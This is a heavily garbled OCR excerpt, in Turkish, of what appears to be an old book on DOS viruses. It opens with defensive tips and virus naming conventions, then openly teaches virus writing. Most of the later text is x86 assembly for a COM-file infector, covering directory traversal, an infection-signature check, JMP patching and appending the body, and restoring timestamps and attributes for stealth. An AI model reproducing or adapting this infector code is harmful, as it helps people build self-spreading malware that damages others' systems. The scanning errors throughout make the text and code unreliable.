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Bulundugunda ise dosya vauguniir. DOS izerinde galigtinlabilir dosyalarin soyisimleri
BAT, COM ve EXE olmak zorundadir. :

Pcki bu BAT, EXE, COM uzantulan nefédén, geliyor? Ba uzanular COMMAND.COM
dosyast igerisinde kayulidir. Yapilmast gereken, iyi bir editorle COMMAND.COM
iistinde ".COM.EXE.BAT" yazisimi aramakur. Bu degerin yazili oldugu kismi
buldugunuzda  olmasim  istediginiz  deisikligi  gerceklestirin.  Ornegin
" COS$.EXS.BAT”" yapabilirsiniz. Daha sonra depisikligi kaydedip DOS'a doniin.
Bilgisayanmz kapaup yeniden agin. Agidiginda sisteminizde COMMAND.COM
disindaki titm COM dosyalann uzanusim "COS$" ve tim EXE dosyalarin uzantistni
"EXS$" vapin. Aruk. sistecminizde 6rnegin "FORMAT.COM" progranu bu isimie
galigmayacakur. "Bad command or file . name” hatast verecek, buna ragmen
"FORMAT.COS$" dosvasi ¢ahsacakur. Eger bu tcknigi uygularken herhangi bir
lerslikle kargilasirsamz iemiz bir DOS disketivle makinenizi yeniden agip orjinal
COMMAND.COM'u bilgisayariniza kopya edin ve tin dosya uzantidarini orjinal
haline getirin. COMMAND.COM iizerine .yenj degeri yazarken hala yapmazsanz
hicbir sorun ¢ikmayacakuir, Bu teknigin faydasi yine viriisiin bulasacak higbir
(COMMAND.COM) disinda COM ve EXE uzantili dosya bulamamasini saglamakur.
Fakat bu teknik viriislerin gofunu durdursada resident viniislere karst yine etkisizdir.
Tabi artt olarak antiviris programlannda test gergeklestiritken sadece caliyunlabilix
dosya kontrolu yapan kullamicilar da bu sonugtan etkileneceklerdir,

Sharcware Programlar |
Ozcllikle BBS'lerden ve arkadaslardan alman Shareware programlar viriislerin

yayilmasinda énemli etkenlerden biridir. Viriis yazarlan viriislenini vaymak icin bir
BBS'de olmayan kullamsh programlann baska BBS'lerden alarak, viriislerini
bulastirdiktan sonra diger BBS'lere gonderir. Bu.gekilde kisa zamanda ¢ok kigiye
vayilnug olur. Shareware programlan viriis {esli yapmadan asla bilgisayariza kopva

elmeyvin.

Network Sistemlerinde Yazma Hakk

Network sistemlerinde kullamicilanin haklanm (6zellikie vazma) sturlandirin. Bu
savede bir kullamcinin dosyalarina bulagmig virGsiin (iim sisteminize yayilmasim
biuyiikk &lgiide &nleycebilirsiniz. Sik sik sistem Gzerindcki programlan kontrolden
gogirin, Sisteme koyacagiuz yeni programlan kaydetineden énce mullaka konirolden

gecirin

Ksrilomg Program Kullanmak

Kopya program kullammn (dzcllikle oyun programian) viriislerin yayilmasi igin
bulunmaz bir imkandir, Bu programlar elden ele dolagtit igin bilyiikk ¢oguniukla
viriislii haldedirler. Kaldr ki kopya program kullanim normal bir hadise degildir ve
kanunlar ile yasaklannustir. Kesinlikle kopya program kullanmayin.



Antiviriis Ureticilerine Yardimci Olun

Sisteminizde, antivirls programlars ile kontrol etmenize ragmen garip olaylarla
karsilasiyorsamiz, bunun hangi program oldugunu tesbit edin ve antiviriis firmalarina
gonderin. Gonderdiginiz program incelenecek ve yeni bir virils ise antiviriislere dahil

edilecektir.

Yedeklecme Yapmm _
Antiviriis tekniklerinin  tamamim  kullansamizda, viriisicrden tam anlamy ile

korunmantn imkam yoktur. Bu scbeple periyodik olarak yedekieme yapin. Bu sizi
virislerin haricinde olusabilecek tchlikelerde de korur Yedeklemeyi mimkiin olan cn

kisa zaman periyodlan iginde yapin.

Sadece bilgilerinizi degil hard diskin ¢ok nemli kistmlan olan BOOT, FAT, CMOS,
ve MBR gibi bsliimleri de yedekleyin.
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Viriis calisti® zaman kullanicidun habersiz, kendisinin bir kopyasim diger cahgabilir
programlara ilave eden ve uygun sartlar olustugunda viris yazanmin belirttigi zararh
veya zararsiz iglemleri kullamadan izin almadan verine geliren bilgisaya:

programiandir.

Viriisiin iki ana kismi varder. Bulagsma ve boniba mekanizmass, Butasma mekanizmast
virlls her calisuginda etraflaki galigabilir duoyalart ‘bulnrs Saha Once bulasihp
bulasgtimadiin  kontrol eder, eger buiagilinamiysa ttu‘iii‘q'!'r. Viriisler EXE,
COM,SYS,PRG,OVL,OBJ,LIB uzantih dosyalara ve bool scklore bulasabilirler.
Bomba kismi ise gahigmak igin uygun sartlanin olugmasum bekler. Buradaki uygun sart
herhangi bir sey olabilir, zamana bajli sartlaf olabilecegi gibi sistemde VGA monitor
bulunmasi. hard disk'in kapasitesi, iilke kodu gibi ok degisik sartlarda gézlencbilir.
Bu tamamen viriis yazannn istegine kalmug bir olaydir, Uygun sartlar olugmazsa viriis
sadece yayilmaya devam eder. Uygun sartlar olugtiugunda ise bomba kisnut ¢alismaya
baslar. Bomba kisnu sisteme zarar verebilecegi gibi, ekrana basil bir mesajda yazabilir
veya sadece kullaniciya saka yvapmak amact ile zararsiz etkiler yapabilir.

Viriislerin isimlendirilmeleri
Antiviris iireticileri NCSA tarafindan Washington'da 1991 Kasum tarihinde
diizenlenen bir toplantida viriislerin isimlendirilmesi konusunda bir standart




belirlenmistir. Bu komitede Fridrik Skulason (F-Prot iircticisi), Alan Solomon (S&S
firmast yoneticisi) ve Vesselin Bontchev (Hamburg Universitesi Viriis aragtirma
Boliimii Bagkani). isimlendirme standardi anlatilacag gibi belirlenmistir. Viriis ismi 4
béliimden olusur. Her boliim bir nokta "." ile aynilir. Bir viriis ismi asagidaki gibi

olmahdir.
Aile_ismi.Grup_ismi.Major_Varyant.Minor_Varyant

Her boliim [A..Z, a..z, 0..9, $%!" #-] karakterlerinden olusabilir. Alfaniimerik olmayan
karakterler kullanilabilir ama kullamilmamasi tercih sebebidir. Biyiik kiigiik harf

farketmemcktedir. Bosluk karakteri yerine altgizgi karakteri ("_" underscore)
kullanilir. Her béliim en fazla 20 karakter olabilir. Miimkiin oldugunca kisa ve anlamh

kelimelerin kullamilmasi tercih edilir. Simdi kisaca bu béliimlert anlatalim;

Aile Ismi
Viriisiin ait oldugu aileyi belirtir. Mevecut viriisler yapisal ézelliklerinin benzerligine

gore ailelere ayrilnuslardir. Ornegin 60 byte'dan kiigiik tiim viriisler 7rivial aile ismi
altinda toplannuslardir.

Grup Isimleri
Ayni viriis ailesi iginde degisiklik gosteren viriislere verilen isimlerdir. Alt-aile ismi

seklinde de anlasilabilir. Ornegin 1704 viriisii Cascade viriis ailesine iiyedir. Grup ismi
secerken aile ismi ile aykin diismevecek, onun alt-ismi olacak gekilde segilmelidir.

Major Varyant Isimleri
Grup adi altnda bulunan degisik viriislere verilen isimlerdir. Birbirlerine gok

benzerler ve genclde her birinin ayr1 bir vzunlugu vardir. Her zaman igin sayisal bir
ifadedir. Viriis uzunlugu major varyant ismi olarak kullanihir. Eger bulagma uzunlugu
bilinmivor isc (veva analiz edilmemisse) uzunluk degeri olarak 1,2,3 veya 4 gibi
ardisik sayilar kullamilir. Fakat bu isimler en kisa zamanda gergek degerleriyle
degistirilimelidirler. !

Minor Varyant Isimleri
Minor viriis isimleri aymi uzunluga, ozellige sahip fakat ¢ok azda olsa farkhihk

gosteren viriislere verilen isimlerdir. Bu isim verilirken genelde alfabetik sirali harfler
verilir. (A.B.C....) Bunlarin disinda daha uzun isimlerinde kullantlmasi miimkiindiir.

Virdis Yazmayvi Bilmenin Bizlere Faydasi

Birgok viriis vyazan virlis vyazmasim diger viriisleri  dissasscmbly  ederek
sprenmektedirler veya dgrenmeye galigiyorlar. Bu kitapta viriis yazmak igin gerekli
bilgileri ve gercken ornck kaynak kodlart bulacaksimz. Ayni zamanda viriis yazmay!
bilmenin onlardan korunmanin ve temizlemenin de en iyi yolu oldugunu asla
unutmayimz. Bu kitabi okuduktan sonra  6grendiklerinizi daima Ffaydah islerde
kullanmava g¢ahisin, Orne@in antiviriis programlan yazabilirsiniz yada anlatilacak



tekniklerle faydali minik programlar iiretebilirsiniz.  Yazdigimiz  bu kitap
TURKIYE'deki yazilim diinyasina bilgi noktasinda fayda da bulunursa bu bizim igin

elde edilebilecek en iyi sonugtur,

Viriislerin Yapisi

Viriislerin yapist temel olarak 3 kisimda incelenebilir. Bunlar sirasi ile kopya iireticl,
gizleyici ve bomba kisimlandir.

Kopya Uretici
Bu béliim viriisiin vayilmasini, kendisini bir programdan digerine kopyalamasini yaui
kisacast iiremeyi saglarlar. Viriislerin VIRUS ismini almasi temelde bu kismin

gergeklestirmis oldugu islevden gelmckiedir.

Gizleyici

Viriisiin farkedilmemesi igin gereken iglemleri yerine getirir. Bu bir tiir savunma
mekanizmasidir. Viriis yazarlannmin antiviriislere karg1 geligtirdikleri teknikler sonucu
ortava ¢ikmustir. Amaci antiviriislerin ve kullamcilarin kendilerini tespit etimesini,

antiviriislerin bilgisavar iizerinde ¢alisir durumda iken ectkisiz hale getirilmesini
saglamakur.

Bomba
Bu boliim viriis igerisinde vazarimin istekleri dogrultusunda sartlar gergeklestigindg

vapilmasi gercken olayi icra eden kisimdir. Viriis yazarinin durumuna gore basit bir
saka veya korkung bir HDD format olabilir.

Viriislerin Yazilma Metodlan
Viriisler tip ayirmmunin yamsira, iki farkls metodla yazilabilirler.

1- Nonresident viritsler (Run-timme virisler)
2- Resident viriisler

Biitiin virisler temelde iki farklhi sekilde ¢ahigirlar. Bunlar da yukanda belirttigimig
gibi nonresident veya resident virislerdir. Bildiginiz iizerc ashinda bu ayinm virisleriy
kendisinden degil DOS ortanmuinin gahisan programlara saglanug oldugu imkanlardau
kaynaklanmir. Virislerin hangi tipte olacaklann tamamen viris vazarlarimin bilecegi
durumdur. Tabiiki bu herhangi bir programin vaziminda oldugu gibi programdany
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Cahstirilabilir Dosya Viriisleri

Dosva viriisleri hangi tipte olurlarsa olsunlar temelde algoritmalarn aymidir. Bu tipteKi
biitiin virisler, diger gahstirilabilir (executable) dosyalar iizerinde asalak olarak
yasamak tizere tasarlamirlar. Bu savede sistemler arasinda vayginlagmalan olanakh

hale gelmektedir.

Daha énceki sayfalarda da vaznug oldugumuz gibi virusler vapi olarak ii¢ gruba
ayrihiyordu. Bunlar. Kopya iiretici. Gizleyici ve Bomba idi.

Viriisleri yapt olarak iig temel gruba ayirmaniza ragmen sunu da hemen ilave ctimek
gerekir ki bir virtisiin olabilinesi icin kopya iirctici ve tabiki viriis oldugundan dolayi
bomba kisminin olmasi sartur. Fakat gizleyici kistm, virtislerin yaygilagmast sonucu
dogal olarak kullanicilarin daha dikkatli olmasi ve antiviriislerin ortaya ¢tkmasiyla
viriislerin vazgegilmez bir pargasi haline gelmistir.

Belirttigimiz gibi dosya virtisleri vine DOS'un szclliklerinden dolayi birkag tiptedir. Bu
kitapta temel olarak viriislerin ne olduklarmt ve nasil vazildiklanmn anlatmayt
amacladigimz igin en ¢ok bilinen tiplerini anlatmaya ¢ahsacagiz. Kitap icinde
miimkiin oldugunca viriislerin BOMBA kisi hari¢ diger boliimleri ve bu boliimlerin
yazilma teknikleri ile ilgili olarak 6rnek vermeye calisacagiz.

COM Dosya Viriisleri

kopya Edici

Bildipiniz iizero DOS igletim sisteminde prompt tizerinden ismi vazlarak iki farkh
dosya cahistirilabilir. Tabi toplu is kiitiiklcri (Batch File) hari¢. Bu dosyalar COM ve
EXE sovisimli dosyalardir. Konumuz olan COM dosya tck scgmenl iizerinde
tanmmlannus stack, veri ve komutlar toplulugundan ibarcttir. Yani programin butin
kisimlar 64 kilobyic'lik bir segment tizerinde bulunur. DOS herhangi bir ‘COM dosya
cagimldiginda halizamn tamanuni bu programa’ayirir ve kontrolii programa devreder.
COM dosyalar hexadecimal 0100h adresinden itibaren galigmaya baslarlar. Iste tiim
tzellikler tiim COM dosyalarda genel olarak sabil oldugundan dolayt COM dosyaya

bulasmak gavet kolaydir.



Simdi belirlemis oldugumuz viriis kistmlarini agiklayalim.

Kopva edici kistm viriisiin bulundu@u her dosyadan bir digerine kendisini yaymasini
saglar. Pcki kendisini bulagirma iglemini bulastig dosyalara zarar vermeden nasil
yapar? Bunun igin COM dosya en kolayidir. Viriis COM dosyanin ilk basim saklar,
viriis kodunun ufak bir kismint dosvanin bagina kalan kismini ise dosyamn sonuna

kopva eder.

Onemli Not - Buradan sonra anlatacaklarimiz tam olarak COM dosya virtisleri igin
gecerlidir. Asagidaki béliimleme COM dosya icin yaptlmigtir. Diger dosyalara bulagma
isicminde; 6rnegin virisiin V1 kismu EXE programliar igin gerekli degildir. Bu islem
EXE dosyvalar iizerinde bazi degerlerin degistirilmesi ile gergeklestinilir. SYS dosvalar
icin de durum farklidir. Belirttigimiz gibi bunlar kendileri ile ilgili konu bashklan
alunda anlatulacaktur. Kaldi ki; bulasma véntemi hepsi igin biraz farkhihk gosterscde
gencl manuk aymdir. Amag, viriisiin kontrolii herhangi bir sckilde bulagilan

programdan énce ele almasidir.

Pl P2 Vi V2

Temiz dosya Viriis kodu

Usticki diagramda P1 bulagilacak dosyamn ilk béliimii . P2 dosyanin geri kalan kismi.
yine V1 viriisiin ilk béliimii V2 viriisiin geri kalan kismi olsun. Onemli nokta P1 ve
V1'nin uzunluklarmm aym olmasimin gerektigidir. Ama P2 ile V2'nin cgit olmasi gibi
bir zorunluluk yoktur. Viriis ilkénce P1'i okur ve onu P2'nin sonuna kopya cdcr.

Pl P2 Pl

Bunu vapinca bulagilacak dosva tsttcki hali alir,

Vi . s Pl

Daha sonva viriis VI'i bulasilacak dosvanin basina kopva cder. V2'vi 1se dosyanin
sonuna kopva eder. En son hali ile :

Vi P2 Pl V2



Soru : Peki VI ve V2 ne yapar ? VI program kontroliinii V2'nin baglangicina transfer
eder.

jmp far ptr VS . 4 byte uzunlugunda
VS dw V2_Start . 2 byte uzunlugunda

VS bir far pointerdir ve burada V2'nin bagladifi yeri isaret eder. VS bulagilan dosyanin
uzunluguna gore degiskendir. Ornegin bulasilacak dosyanin orjinal uzunlugu 79 byte
olsun, VS depiskeni bu durumda degistirilmelidir. Degistirme sonucu dallanma
gerceklestirilecek adres CS:[155h] olur, bu sayiyi hesaplamak igin, orjinal dosya
uzunluguna V1'in uzunlugu (dolayisi ile Pl'in uzunlugu), PSP'nin (Program Segment
Prefix) uzunlupu olan 256 rakam ilave edilmelidir.

Ornegin V1 = 6 byte, P1 + P2 = 79 ve PSP = 256 (PSP sabit) byte uzunlugundadir.
Dolayisi ile su formiil ile JUMP ile dallamilacak adres degerini bulabiliriz.

V1 + (P1+P2) + PSP = 341 (155h)

Kullanilan dallanma komutuna alternatif olarak asagidaki gibi de yazalabilir,
db 1101001b - JMP komutu i¢in kod (1 word adres)

VS dw V2 Start - OFFSET VS ;1 word adres

Bu kod JUMP ofsctini dogrudan V2'nin bagladifi adrese atar. ikinci satir goylede
diizenlenebilir ve ayni igi yapar.
dw V2 _Start - §

V2 asil viriis kodunu igerir. Viriisiin kodu bitince V2 PI'i en basa kopya eder ve
dosyanin bagina dallanma gergeklegtirir (tabi bunlar disk iizerinde dcgil hafizada

oluyor). Béylece orjinal program aynen eskisi gibi galigir.

Kod soyledir; ____
mov  si, V2_Start

~V2_START V2 boliminiin basladig yerin
, ofset adresi
sub  si, V1 _Length . P1'in bagladi yeri elde ediliyor

mov  di, 0100h - biitiin COM dosyalar CS:[100]
-adresinden itibaren gagirilir

mov cx, V1 Length ; CX'e viriisiin uzunlugu

rep movsb - DS:[SI] -> ES:|DI]

mov  di, 0100h




Bu kodun dogru olmasi igin PI'in asagidaki gibi V2'den hemen Once yerlegtirilmig
olmasi gerekir.

Pl Stored Here:

V2_Start:

Ayrica bu kod ES'nin CS've cgit olmasim gerektirir. Eger bu saglanniyorsa kodu su
sckiide degistirin.

Ornek ;
. CS slack iizerine
- ve CS'nin degerini ES'ye taginiyor
- kodun kisa olmas igin bunu kullaniliyor
si, PI. START ; SI register'ina P1'in baglangic adresi
mov di, 0100h . CS:[100h] adresine
mov  cx, VI_LENGTH

rep movsb

mov di, 0100h
jmp '

Bu kod ES yazmacina CS'nin degerini atar ve MOVSB igin source pointer degerini
Pl'in basladigt adrese esitler. Unutmayin ki tim bu iglemler sadece haflizada
gergeklesmektedir. Bu yiizden Pl'in hafizadaki ofset degerini bilimeye ihtiyac vardir,
Biitiin COM dosyalar hafiza igerisinde CS:[100h]'den itibaren galigmaya baglarlar.

Buraya kadar anlatilan viriis yapisinin biitiin iskeletini verirsek |

V1 Start:
jmp far ptr VS

VS dw V2 _Star
V1_End:

P2 Start:
P2 End:

Pl Start: - ileride kullanilmak iizere programun birinci boliimii buraya konuldu
Pl _End:



V2 End:

V1 Length EQU VI _End - VI1_Start

Alternatif olarak P1'i V2 igine verlestirmeniz de mimkiindiir.
V2_Start:

P1_Start:
Pl End:

V2 _End:

Bu gekilde COM dosyayi bozmadan bulagnug olursunuz. Basa donersek kopya liretici
kisim gencl olarak asagidaki algoritma ile ¢aligir.

- Bulasilacak dosvayt bul

2- Buna daha énce bulasims mi?
J- Bulagilmiysa 1'e git

4- Bulas

3- Yeterince bulasildr ise sonlan
6- 1'e git

Bulagilacak dosyalart bulmak igin metod, bir traversal directory rulini vazip
FINDNEXT/FINDFIRST ile dosyalarnn aramakur. Buldugunda ise dosyanin ilk birkag
byte'int okuyup viriisiin ilk birkag byte'r ile aymi mi? edilir. Eger aym isc bu dosyaya
daha énce bulasilnug demektir. Daha 6nce bulagilmis dosyaya veniden bulagmamak
sok onemlidir. Jerusalem virtisiiniin ilk versiyonlan bu tip bir hata yapmaktadir. Eger

dosvava bulasilmadivsa dosyava bulagma asagidaki gibidir,

- Dosvavi agip, ozelliklerini saklayip hepsini sifirla
2- Dosvamin giun/tarih degerlerini sakla
3- Dosvayt kapal
4- Yeniden a¢ (okuma’vazma modunda)
S- P1't dosvanin sonuna kopva et
6- I'1'i baslangica kopva et JAMP yapilacak
OFFSET adresi dogru sekilde avarlanmal.
7- V2'vi viriisin sonuna kopya et.
8- Dosvamin ozellik/gin/tarih degerlerini eski haline getir

Bulagma igleminde bir sayvag tutunuz, her defasinda az sayida dosyaya bulagmak tiim
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programa devrediniz.  Fakal snemli olan dosyamn 6zellik/giin/arih  degerlerini
kesinlikle degistirilmemesidir. Bunun igin kodunuz 50-75 byte uzavabilir ama virtisiin

kalitesini ¢ok ok arttirir.

Simdi bulagma iglemi sirasinda yeni viriis yazmayi ogrencnlerin en fazla hata yapmig
olduklart ofset hesaplamalart iizerine bazi noktalarnt agikhga kavusturalim.  Viriis
kodunuzun ve depiskenlerinizin hafizada nerede olacagini tahmin cdemezsiniz.
Viriisiiniizii dosyanin sonuna ilave cttiginizde viriisiin hafizadaki veri degisccektir. Bu
degisiklikte bulagilan dosyamm uzunluguna baglidir. Bunun igin orjinal viristcki ofsct
degerini degistirmelisiniz, delta offsef deperini de degistirmeli ve bu degisikhkleri tiim
degiskenlere ilave etmelisiniz. Sabit deger kullanan véncrgelerin, drnegin goreceli
(relative) ofsetlerin degigtirilmeleri gerckir. Bunlar JA, JB, J7 simfindaki yonergeler,
NP SHORT. JMP label, JAMP FAR PTR ve CALL gibi komutlardir.

Ornckie. SI register'in delta offset ile nasil gagirldigin goruyoruz.
Normal kullanim,

nmov AX. counler
mov dx. offsct message

Delta ofTsct ile:

mov ax, word ptr [si+ollsct counter]
lea dx. |sitollsct message]

Peki delta offset nasil bulunacak ?
Ornek ;

call Setup
Selup:
pop sl
sub si, olfset Sctup

Yukaridaki ornckte gorildigi gibi Delta Offsefi elde ctmek oldukga kolaydir
Yapilmasi gereken bir sonraki komut adresine CALL NEAR PTR komutu ile ¢agn
gergeklestirmektir. Bir sonraki adunda stack iizerine yazilan ofsct adres POP komutu
ile geri aluur ve sifirlanir. Bu iglem sonucu Delta Ofset adresi clde edilmig olur. BP
register'im Delta Offset gibi kullanmayi tercih ediniz, ¢iinkii SI string vonergelerinde
kullamhir. Tabiki istediginizi kullanmakta scrbestsiniz. Ama dikkati asla clden
birakmayin, aksi taktirde viriisiiniiz umdugunuzdan farkl iglemler vapabilir.



Bulasilacak Dosya Bul .
Bir dosyaya bulagmadan 6nce o dosyayi bulmalistniz. Bu kisim gok 6nemlidir. Etkili

sckilde yazilmahdir. Nonresident viriisler igin bu noktada ¢ok az depisik teknik vardir.
Sadece gegerli dizin igerisindeki dosvalara yada fraversal -arama rutini ile tiim
dizinlerdeki dosyalara bulagilabilir. Sadcce aktif dizin icerisindeki dosyalara bulagmak
viriisiin etkisini azalur. Fakat viriisiin hizint yiikseltip, nisbeten kisa olmasini saglar.

Asagida traversal directory rutini igin érnek kod vardir, yavag olmasina ragmen
kendisinden istenileni oldukga iyi bir sekilde gergeklegtirmektedir. Funky Bob Ross
viriisiinde kullanilan teknigin gelistirilmig halidir.

traverse fcn proc ncar _ | _]
push  bp - stack'i olustur
Mmov bp.sp
sub sp.44 - DTA igin yer ayirma iglemi
call Infect_Directory - arama ve bulagma rutini ¢agirihiyor
mov ah.1Ah - DTA set edilivor
lea dx.word ptr [bp-44]
int 21h - int 21h ¢aginhyor
mov ah, 4Eh - Find First kesmesi
mov cx, 16 - arama maskesi
lea dx.[si+offset dir_mask] . *.*
int 21h

jmp short Isdirok

| gonow:

cmp byte ptr [bp-14]. "’ - ilk karakter ' ya esit mi?

je short donext - evelse dongiiye devam ct

lea dx,word ptr [bp-14]

mov ah,3Bh - directory degistir

int 21N

jc short donext . problem varsa sonrakine git

inc word ptr [si+ofTset nest] ; nest++

call near ptr traverse_{cn - tekrar kendini gagir
donext:

lca dx,word ptr |bp-44]

nov ah,1Ah - DTA yeni alana set ediliyor

int 21h . INT 21h ¢aginhiyor

mov ah.4Fh - Find next



int 21h

isdirok:
jnc ZONnow , evet ise 'gonow eliketine
. JMP yapiliyor
cmp word ptr [si+offset nest], 0 ; ana dizin ise
: (nest == 0)
jle short cleanup . sonra ¢k
dec word ptr [sitoffset nest] ; defilse nest - |
lea dx, [si+offset back dir] ;.
mov ah,3Bh . directory degistir
int 21h . bir dncekine git
cleanup:
nmov sp.bp
pop  bp
ret

traverse_fcn endp

. Degiskenler

nest dw 0
back_dir db Ll
dir_mask db |,

Yukandaki kod kendisini gavet giizel bir sckilde agikhivor zaten. Yukandaki
traverse fcn rutini igerisinde infect directory adinda arama yapip bulasan ve daha
once bulagilmig dosyalara bulagmayan diger bir rutinin oldugu varsayilnugtir.

Daha once belirtigimiz gibi bu metod yavasuir. Daha izl olan bir metod ise pck
bilinmeyen Dot Dot metodudur. Her dizinin aranmasi vine gergeklestirilir, veterincg
bulagilmanug ise bir énceki dizine gidilerek arama islemi tekrarlanir, bévlece iglem
gerekli sayida bulagma vapilincava kadar devam eder.

Kod kismui oldukga basitlir;

dir_lump}*:

call infcct direclory

lea dx, |bp+dotdot]

mov ah, 3bh . directory degistirme

int 21h

jnc dir_loopy . Ana dizin igindeyse Carry flagh sct edilir
. Degigkenler

| dotdot ‘ ',_*‘{]



Simdi bulagilacak dosva bulunmahdir. Bir dnceki 6rnekte bunu infect directory rulin
vapilmaktadir. Tabiiki bu fonksiyon sistemin saglamis oldugu FINDFIRST wv¢
FINDNEXT alt ¢agrilarim kullamir. Once viriis kendi DTA alanini (Disk Transfet
Arca) veniden ayarlamahdir. DTA alanmini asla PSP (ofset 80h) iginde kullanmayvir
ciinkii bunu yapmak; kontrol asil programa déndigii zaman. program taralindan
kullanilma ihtimali olan command-line parametrelerini etkiler.

Ornegin;
mov ah. 1AQ - DTA sct ctine kesmesi
Ica dx, [bptoflset DTA] . veni DTA adresi
T 21h

DTA 42 byvie uzunlugundadir. Bununla birlikte FINDFIRST/FINDNEXT cagrilan
isimizi gormektedir.

mov ah, 4Eh . Find first file

mov cx, 0007h

lea dx. [bp+ofTsct file mask] : DS:|DX] --> dosya maskesi
int 21h

Jjc nonc found

found another:

call check_infection

mov ah, 4Fh - Find next file
int 21h

jne found another

none_found:

Arama maskesi "* EXE" veya "*.COM" olabilir veya alternatif olarak biitiin dosyalar
(* *) maskesi ile aramilarak aradan EXE, COM dosyalarin ayinlmasi da miimkiindiir.

Dosya Bulasiimaya Uygun mu?

Viriisiiniiziin her dosyaya bulagmamasini istemeyebilirsiniz. Ciinkii bazi antivirisler
her seferinde bu dosyalari 6zel olarak kontrol eder (FluShot gibi). Bu dosyalar, 6rnegin
COMMAND.COM veya dizinin ilk uygun dosyasi olabilir bu isteklerinizi arama
slemini gergeklestirdiginiz rutin igerisine cklemelisiniz.

drnegin COMMAND.COM dosyasini soyle kontrol edebilirsiniz,

cmp word ptr [bp+offset DTA+35], 'DN'; reverse word formatinda
17 fail check



Daha Once Bulasilims nm?.
Bulastipiniz her dosya ortak 8zelliklere sahiptir. Kodun bir kismu hep aym yerde yve

sckildedir. JMP  vonergeleri aymi gckilde yazilnugur. En iyisi viriise bir 1mza
vermektir. Béylece ayni dosyaya iist iiste bulagilmamig olur.

————————

mov ah.3Fh - ilk ii¢ byte'r oku

mov cX, 3 - okunacak veri uzunlugu
lca dx. |bp+olfsct buller] . bulTer igerisine

int 21h

mov ax, 4202h . dosya sonuna konumlan
xor o B 5 . DX:.CX = ofsct

xor dx, dx . dosva uzunlugu igin sifirlandi
int 21h - DX:AX igerisine

sub ax, virus_size + 3

cmp word ptr [bp+ollset buffer+1], ax

jnz infect_1t

| bomb_out:
mov ah, 3Eh - degilse dosyayi kapat

int 21h . diger bir arama igin

Bu 6rnekte BX register'inin bulasilmak igin kontrol edilen dosyanmn handle'tm tuttugu
ve virus size degiskeninde viriisiin uzunlugunun bulundugu kabul edilmigtir. Bu/fer 3
bytc'lik bos alandir. Bu 6rack, dosyanin ilk 3 bytc'mm buffer sahasina okur ve by
okunan stringi; dosya uvzunlugununa ait JMP adrcsi (buffer+1' de baslayan word) ile
karsilasuinir. Eger JAP virus size dosyamin sonundan dnce bir yeri igarel ederse. bu

dosva daha énceden bulasilnusg bir dosvadir.

Diger bir metodda dosva iginde imzayr aramaktir. érnek ;

mov  ah, 3Fh , ilk 4 byte't oku

mov cx. 4 . okunacak veri uzunlugu
lca dx, |bptoflset bufler] . bufler igerisine

int 21h

cmp byte ptr [buffer+3], infection id byte ; dordiinciiyii kontrol et
17 bomb_out

infect_it:



Dosyaya Bulas
Burasi viriisiin en 6nemli yeridir. Bulastifiniz dosyamin &6zelliklerini tarth ve saat

degerlerini korumalisimz.

DTA yapist;
Ofset  Uzunlugu Agtklamast
Oh 21 Bytes Reserved, varies as per DOS version
15h Byte Iile Attirbute
16h Word File Time
18h Word File Date
1Ah Dword File size
1EI 13 Bytes ASCIIZ Filename + Extension

DTA dosyanin korunacak o6zelliklerini verir. DTA yapisim agagidaki érnckie oldugu
gibi saklavabilirsiniz;

lea si, [bptolTset DTA+15h] ; 6zelliklerin bulundugu yer
mov cx, 9 . toplam 9 byte _
lea di. [bp+ofTset f_attr] . burada degiskenlerin igine tasivoruz

rep movsb
, dosya ozellikleri igin
fattr db ?
{ time dw 7
f date dw ?
f size dd ?

Dosya 6zelliklerini 0 degerine esitlemeniz (kaldirmamz) INT21hA3h fonksiyonu ile
milmkiindiir. Sistem bu sekilde HIDDEN veva READ ONLY dosyaya yazmaniza izin
Verir. |

lea dx, [bptofTsct DTA+1¢eh]

mov ax, 4301h

xXor CX, CX
int 21h

Dosya 6zelliklerini sildikten sonra . dosyayt READ/WRITE modunda yeniden agin.

lca dx, |bp+oflset DTA+1¢h] ; DTA igindeki dosya
; adt kullanihiyor

mov ax, 3d02h . dosya okumal/yazma
. modunda agiyoruz
int 21h . dosyayi ag

xchg  ax, bx




Asagidaki 6rnek olarak verilen kod COM dosyalara nasil bulagilacagimi anlatiyor.

. 6rnek COM bulasicisi, BX dosya handle'ini tutuyor.
. daha 6nce bulasilmis mu kontrolii vapan kisim bu érnckte bulunmamakitadir

mov ah, 3fh

lea dx, [bptbufferl]
mov CX, 3

int 21h

mov ax, 4200h

Xor CX, CX
XOr dx, dx
int - 21h

. JMP yonergesini dosyanin basina yazmak

mov bvte ptr [bp+bufler2], 0e9h ; IMP

mov ax, word ptr [bp+f_size]

sub ax, partl_size . genellikle 3, byte uzunlugunda
mov word ptr [bp+buffer2+i}], ax ; JMP 'nin ofset adresi

, JMP yonergesini dosyanin basina yazmak

Mmov ah, 40h . dosyaya yaz
. dosya handle't BX igerisinde
mov cX 3 . yazilacak veri uzunlugu
lca dx, [bp+bullfer2] ; buffer -> DS:[DX]
int 21h
mov ax, 4202h . dosya gostergecini tasi
xXor CX, CX . dosyanin sonuna
Xor dx, dx
int 21h
mov ah, 40h , dosyaya vaz
mov cx, endofvirus - startofpart2 , viriisiin uzunlugu
lea dx, [bp+startofpart2]
int ~ 21h

. Degiskenler
bufferl db 3 dup (?7) - sonradan kullamilmak tizere
. bulagilan dosvanin ilk iig¢ byte'i saklamiyor

buffer2 db 3 dup (?) . gegici bufTer



Birkac deneme yaptiktan sonra, bu kod anlasilir hale gelir. Dosyanmin ilk 3 bylein
buffer] degiskenine okunuyor. Kontrol edilen dosyanin daha énceden bulagilnus bir
dosya olup olmadigimin bilinmesi gerckmektedir. Bu bilgi kontrol asil dosyaya

devredilirken kullanilacagindan saklanmalidir.
Degerleri Eski Haline Getir
Bu kisim anlamasi ve yaptlmasi kolay bir kisimdir. Onemlidir, viriisiin gizli kalmasini

farkedilmemesini saglar.

En basit haliyle 6rnegi asagidadir;

mov ax. 5701h
nov dx. word ptr [bp+_date] ; DX = tarih
mov cx, word ptr [bp+(_time] ; CX = saal
int 21h

mowv ah. 3ch
int 21h

mov ax, 4301h . dosya 6zellikleri kesmesi
lea ©  dx. [bptoffsct DTA + 1Eh] : dosya ismi hala DTA icerisinde

xor  ch,ch |
mov  cl, byte ptr [bp+{_attrib] : dosya 6zellikleri CX igerisine \
int 21h

¥

Ayrica bulagilacak dosya ararken dizin depistirdikten sonra orjinal dizine dénmeyi
unutmamak gerckir.

Sonug olarak virtislerin  COM dosyalara nasil  bulastigini  dosya iizerindeki
